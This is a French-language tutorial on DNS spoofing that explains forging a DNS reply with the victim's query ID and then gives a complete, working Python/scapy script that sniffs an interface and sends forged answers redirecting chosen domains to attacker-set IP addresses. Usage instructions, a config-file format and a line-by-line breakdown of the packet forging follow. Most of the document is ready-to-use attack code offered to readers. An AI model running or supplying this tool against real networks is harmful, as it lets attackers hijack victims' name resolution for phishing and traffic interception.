Attaque:



Si une machine veut communiquer avec une autre et qu'elle ne possède que le nom de domaine, cette machine va être obligé d'utiliser le protocole DNS afin de récupérer l'adresse IP associer au nom de domaine.
Pour ce faire, notre machine va envoyer une requête au serveur DNS afin de lui demander la résolution du nom de domaine en une adresse IP, requêtte qui est identifier par le champs ID.
Le serveur renvoie une réponse avec l'adresse IP correspondante au nom de domaine voulu avec le même numéro d'identification.

A ------>         IP de unsite.com ? ID = 2         ------> B
B ------> unsite.com à pour IP 10.25.45.36 ID = 2   ------> A


Donc si nous voulons rediriger unsite.com vers l'adresse IP 1.1.3.3, nous devons envoyer une requête avant le serveur DNS et avec le même ID
P pour pirate.

A ------>       IP de unsite.com ? ID = 2       ------> B
P ------> unsite.com à pour IP 1.1.3.3 ID = 2   ------> A
B ------> unsite.com à pour IP 10.25.45.36 ID = 2   ------> A


J'ai donc programmer un petit script python avec scapy (oui encore :))

# Author: St0rn
# Mail: [email protected]
#
#
# argv[1] = device 
#
#!usr/bin/env/python

import os
import sys
import string
import thread
from scapy.all import *

######################### List ########################

file_list = []
domain = []
domain_type = []
spoof_ip = []

################### Banner Function ###################

def intro():
 print "\n                 ------------------------------------------"
 print "                 |                DNSpoof                 |"
 print "                 |         For nocry-noteacher.net        |"
 print "                 |             Author: St0rn              |"
 print "                 ------------------------------------------\n"
 
################## Read file Function #################

def read_file():
 try:   
  file = open('dns.spoof', 'r')
  while 1:
   line = file.readline()
   if line == "":
     break
   if line[0] != '#':
     file_list.append(line)
  file.close()
  for i in range(len(file_list)):
     split = file_list[i].split(" ")
     domain.append(split[0])
     domain_type.append(split[1])
     spoof_ip.append(split[2].replace("\n",""))  
 except:
  print "\n\033[91mCan't open Domain File\033[0m"
  sys.exit()
 


################# DNS Spoofing Attack ###################

def attack(p):
 if p.haslayer(UDP) and p.haslayer(DNS) and not p.haslayer(DNSRR):
  l = len(p[DNS][DNSQR].qname)
  if p[DNS][DNSQR][0:l-1].qname[0:l-1] in domain:
     ether = Ether(dst = p[Ether].src, src = p[Ether].dst)
     ip = IP(dst = p[IP].src, src = p[IP].dst)
     udp = UDP(sport = p[UDP].dport, dport = p[UDP].sport)
     dns = DNS(id = p[DNS].id, qr = 1, opcode = 16, aa = 0, tc = 0, rd = 0, ra = 1, z = 8, rcode = 0, qdcount = 1, ancount = 1, nscount = 0, arcount = 0, qd = p[DNS].qd)
     nb = domain.index(p[DNS][DNSQR].qname[0:l-1])
     dns.an = DNSRR(rrname = p[DNS][DNSQR].qname[0:l-1], type = domain_type[nb], rclass = "IN", ttl = 1337, rdata = spoof_ip[nb])
     payload = ether/ip/udp/dns
     sendp(payload, verbose = 0, iface_hint = p[IP].src)
     print "\n       \033[94m " + p[DNS][DNSQR].qname[0:l-1] + " answer by " + p[IP].src + " spoof to " + spoof_ip[nb] + "\033[0m"

######################### Main ###########################

os.system("clear")
intro()
if len(sys.argv) < 2:
 print "\n                       Usage: dnSe.py <interface>\n"
else: 
 read_file()
 try:
  sniff(prn = attack, iface = sys.argv[1])
 except:
  print "\n                     \033[91mCan't launch Attack sniffer :'(\033[0m"
  sys.exit()



Le programme prend en argument l'interface que vous utilisez, si vous avez l'interface eth0 le programme s'utilise comme ceci

python dnspoof.py eth0


Le script lis les informations nécessaire dans un fichier (à crée) dns.spoof qui doit être organisé comme ceci

Domain Type Spoof_IP

/!\ Bien respecter l'écart d'un espace entre les arguments /!\
Le fichier peut être commenté avec des #

Exemple:

#Ceci est un commentaire
google.fr A 127.0.0.1
www.google.fr A 127.0.0.1


Maintenant revenons un peu sur la fonction attack()

Ligne 60:
On forge la trame Ethernet à partir de la requête
ether = Ether(dst = p[Ether].src, src = p[Ether].dst)


Ligne 61:
La trame IP
ip = IP(dst = p[IP].src, src = p[IP].dst)


LIgne 62:
La trame UDP
udp = UDP(sport = p[UDP].dport, dport = p[UDP].sport)


Ligne 63:
On copie à l'identique la trame DNS à partir de la requête émise (dont l'ID comme décrit plus haut dans ce chapitre)
dns = DNS(id = p[DNS].id, qr = 1, opcode = 16, aa = 0, tc = 0, rd = 0, ra = 1, z = 8, rcode = 0, qdcount = 1, ancount = 1, nscount = 0, arcount = 0, qd = p[DNS].qd)


Ligne 65:
On forge le Ressource Record avec les informations contenu dans dns.spoof (qui correspondent au nom de domaine demandé)
dns.an = DNSRR(rrname = p[DNS][DNSQR].qname[0:l-1], type = domain_type[nb], rclass = "IN", ttl = 1337, rdata = spoof_ip[nb])


Vous voila maintenant armé de l'aspect théorique et pratique de cette attaque, je vous propose donc, dans le prochain chapitre de voir la mise en oeuvre de cette attaque avec ce même script.